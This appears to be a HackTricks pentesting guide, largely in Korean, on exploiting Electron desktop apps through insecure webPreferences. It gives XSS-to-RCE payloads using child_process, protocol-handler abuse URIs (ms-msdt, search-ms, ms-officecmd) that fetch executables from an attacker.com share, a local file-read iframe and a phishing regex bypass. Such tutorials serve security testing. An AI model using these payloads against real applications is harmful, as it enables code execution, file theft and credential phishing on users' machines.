Electron Desktop Apps

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Introduction

Electron은 로컬 백엔드(NodeJS)와 프론트엔드(Chromium)를 결합하지만, 최신 브라우저의 보안 메커니즘이 부족합니다.

일반적으로 전자 앱 코드는 .asar 애플리케이션 내부에 있으며, 코드를 얻으려면 이를 추출해야 합니다:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electron 앱의 소스 코드에서 packet.json 안에 보안 설정이 지정된 main.js 파일을 찾을 수 있습니다.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron에는 2가지 프로세스 유형이 있습니다:

  • 메인 프로세스 (NodeJS에 완전 접근 가능)

  • 렌더러 프로세스 (보안상의 이유로 NodeJS 접근이 제한되어야 함)

렌더러 프로세스는 파일을 로드하는 브라우저 창이 될 것입니다:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Settings of the renderer process can be configured in the main process inside the main.js file. Some of the configurations will prevent the Electron application to get RCE or other vulnerabilities if the settings are correctly configured.

The electron application could access the device via Node apis although it can be configure to prevent it:

  • nodeIntegration - 기본적으로 off입니다. 만약 켜져 있다면, 렌더러 프로세스에서 노드 기능에 접근할 수 있습니다.

  • contextIsolation - 기본적으로 on입니다. 꺼져 있다면, 메인과 렌더러 프로세스가 격리되지 않습니다.

  • preload - 기본적으로 비어 있습니다.

  • sandbox - 기본적으로 꺼져 있습니다. 이는 NodeJS가 수행할 수 있는 작업을 제한합니다.

  • Node Integration in Workers

  • nodeIntegrationInSubframes - 기본적으로 꺼져 있습니다.

  • 만약 **nodeIntegration**이 활성화되어 있다면, 이는 Node.js APIsiframe 내에서 로드된 웹 페이지에서 사용할 수 있게 합니다.

  • 만약 **nodeIntegration**이 비활성화되어 있다면, 프리로드는 iframe에서 로드됩니다.

Example of configuration:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

일부 RCE payloads여기에서 확인할 수 있습니다:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

트래픽 캡처

start-main 구성을 수정하고 다음과 같은 프록시 사용을 추가합니다:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron 로컬 코드 주입

Electron 앱을 로컬에서 실행할 수 있다면 임의의 자바스크립트 코드를 실행할 수 있을 가능성이 있습니다. 방법은 다음을 확인하세요:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

nodeIntegrationon으로 설정되어 있으면, 웹 페이지의 자바스크립트는 require()를 호출하기만 하면 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

이 설정에서 지정된 스크립트는 렌더러의 다른 스크립트보다 먼저 로드되므로 Node API에 무제한으로 접근할 수 있습니다:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

따라서, 스크립트는 node-features를 페이지로 내보낼 수 있습니다:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

contextIsolation이 켜져 있으면, 이 방법은 작동하지 않습니다

RCE: XSS + contextIsolation

_contextIsolation_은 웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE의 가능성을 제거하기 위한 필수 기능입니다.

컨텍스트가 분리되지 않으면 공격자는:

  1. 렌더러에서 임의의 JavaScript 실행 (XSS 또는 외부 사이트로의 탐색)

  2. 프리로드 또는 Electron 내부 코드에서 사용되는 내장 메서드를 자신의 함수로 덮어쓰기

  3. 덮어쓴 함수의 사용을 트리거

  4. RCE?

내장 메서드를 덮어쓸 수 있는 두 곳이 있습니다: 프리로드 코드 또는 Electron 내부 코드:

Electron contextIsolation RCE via preload codeElectron contextIsolation RCE via Electron internal codeElectron contextIsolation RCE via IPC

클릭 이벤트 우회

링크를 클릭할 때 제한이 적용된다면, 일반 왼쪽 클릭 대신 중간 클릭을 통해 이를 우회할 수 있습니다.

window.addEventListener('click', (e) => {

RCE via shell.openExternal

이 예제에 대한 자세한 정보는 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8https://benjamin-altpeter.de/shell-openexternal-dangers/를 확인하세요.

Electron 데스크탑 애플리케이션을 배포할 때 nodeIntegrationcontextIsolation에 대한 올바른 설정을 보장하는 것이 중요합니다. **클라이언트 측 원격 코드 실행 (RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 네이티브 코드를 대상으로 할 때 이러한 설정이 적용되면 효과적으로 방지됩니다.

사용자가 링크와 상호작용하거나 새 창을 열면 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안 및 기능에 중요합니다:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

이 리스너는 데스크탑 애플리케이션에 의해 재정의되어 자체 비즈니스 로직을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 openInternally라는 함수를 통해 이루어집니다. 이 함수가 false를 반환하면, 링크는 외부에서 열려야 함을 나타내며, shell.openExternal 함수를 사용합니다.

여기 간단한 의사코드가 있습니다:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png
https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS 보안 모범 사례는 openExternal 함수를 사용하여 신뢰할 수 없는 콘텐츠를 수용하는 것을 권장하지 않으며, 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있습니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예제와 추가 설명은 이 리소스를 참조할 수 있으며, 이 리소스에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예제가 포함되어 있습니다.

Windows 프로토콜 악용의 예는 다음과 같습니다:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

내부 파일 읽기: XSS + contextIsolation

contextIsolation을 비활성화하면 <webview> 태그를 사용할 수 있습니다, <iframe>과 유사하게, 로컬 파일을 읽고 유출하는 데 사용됩니다. 제공된 예시는 이 취약점을 이용하여 내부 파일의 내용을 읽는 방법을 보여줍니다:

또한, 내부 파일을 읽는 또 다른 방법이 공유되며, Electron 데스크탑 앱에서의 중요한 로컬 파일 읽기 취약점을 강조합니다. 이는 애플리케이션을 악용하고 데이터를 유출하기 위해 스크립트를 주입하는 것을 포함합니다:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Old Chromium

애플리케이션에서 사용되는 chromium오래된 경우, 알려진 취약점이 있을 수 있으며, 이를 악용하여 XSS를 통해 RCE를 얻을 수 있습니다. 이 writeup에서 예제를 확인할 수 있습니다: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Internal URL regex bypass

XSS를 발견했지만 RCE를 트리거하거나 내부 파일을 훔칠 수 없는 경우, 이를 사용하여 피싱을 통해 자격 증명을 훔치는 것을 시도할 수 있습니다.

우선, 새 URL을 열려고 할 때 발생하는 일을 알아야 하며, 프론트엔드의 JS 코드를 확인해야 합니다:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

**openInternally**에 대한 호출은 링크가 플랫폼에 속하는 링크이기 때문에 데스크탑 창에서 열릴지 아니면 브라우저에서 3rd party 리소스로 열릴지를 결정합니다.

함수가 사용하는 정규 표현식우회 공격에 취약한 경우(예: 서브도메인의 점을 이스케이프하지 않는 경우) 공격자는 XSS를 악용하여 새 창을 열 수 있습니다. 이 창은 공격자의 인프라에 위치하며 사용자에게 자격 증명을 요청합니다:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

도구

  • Electronegativity는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다.

  • Electrolint는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다.

  • nodejsscan은 취약한 서드파티 라이브러리를 확인하는 도구입니다.

  • Electro.ng: 구매해야 합니다.

실습

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s에서 취약한 Electron 앱을 악용하는 실습을 찾을 수 있습니다.

실습에 도움이 될 몇 가지 명령어:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated